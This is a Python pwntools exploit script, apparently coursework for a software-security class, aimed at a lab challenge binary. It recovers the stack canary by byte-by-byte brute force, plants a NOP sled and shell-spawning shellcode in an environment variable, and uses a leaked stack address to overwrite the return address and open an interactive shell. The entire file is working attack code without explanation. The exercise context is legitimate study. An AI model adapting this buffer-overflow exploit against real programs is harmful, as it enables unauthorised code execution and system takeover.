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https://github.com/20kaushik02/CSE545_SS_Work.git
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87 lines
2.2 KiB
Python
87 lines
2.2 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# This exploit template was generated via:
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# $ pwn template /challenge/run
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from pwn import *
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# Set up pwntools for the correct architecture
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exe = context.binary = ELF(args.EXE or '/challenge/run')
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# Many built-in settings can be controlled on the command-line and show up
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# in "args". For example, to dump all data sent/received, and disable ASLR
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# for all created processes...
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# ./exploit.py DEBUG NOASLR
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def start(argv=[], *a, **kw):
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'''Start the exploit against the target.'''
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if args.GDB:
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return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
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else:
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return process([exe.path] + argv, *a, **kw)
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# Specify your GDB script here for debugging
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# GDB will be launched if the exploit is run via e.g.
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# ./exploit.py GDB
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gdbscript = '''
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tbreak main
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continue
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'''.format(**locals())
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#===========================================================
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# EXPLOIT GOES HERE
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#===========================================================
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# Arch: amd64-64-little
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# RELRO: No RELRO
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# Stack: No canary found
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# NX: NX unknown - GNU_STACK missing
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# PIE: No PIE (0x400000)
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# Stack: Executable
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# RWX: Has RWX segments
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# canary = b""
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canary = b"OiPe7C92"
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# canary_found = False
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canary_found = True
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io = None
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while not canary_found and len(canary) != 8: # unsigned long long -> 8 bytes
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for byte in range(256): # byte value range
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io = start()
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io.send(b"A" * 256 + canary + bytes([byte]))
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output = io.clean() # flush output
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if b"\nHacking" not in output:
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canary += bytes([byte])
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print("updated canary:",canary)
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break
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io.close()
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print("final canary",canary)
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sled_len = 0x2000
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nop_sled = b"\x90" * sled_len
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shellcode = asm(shellcraft.sh())
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payload = nop_sled + shellcode
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io = start(env={"SHELLCODE_CMD": payload})
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io.recvuntil(b"for you: ")
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rsp_line = io.recvline()[:-1]
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rsp_hex = int(rsp_line, 16)
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print("Received rsp address:", rsp_line)
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target_shellcode_sled = p64(rsp_hex + sled_len)
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final_payload = (
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target_shellcode_sled * 0x20 # 256 bytes
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+ canary # 8 bytes
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+ target_shellcode_sled * 0x8 # 64 bytes
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)
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print(len(final_payload))
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io.send(final_payload)
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io.interactive()
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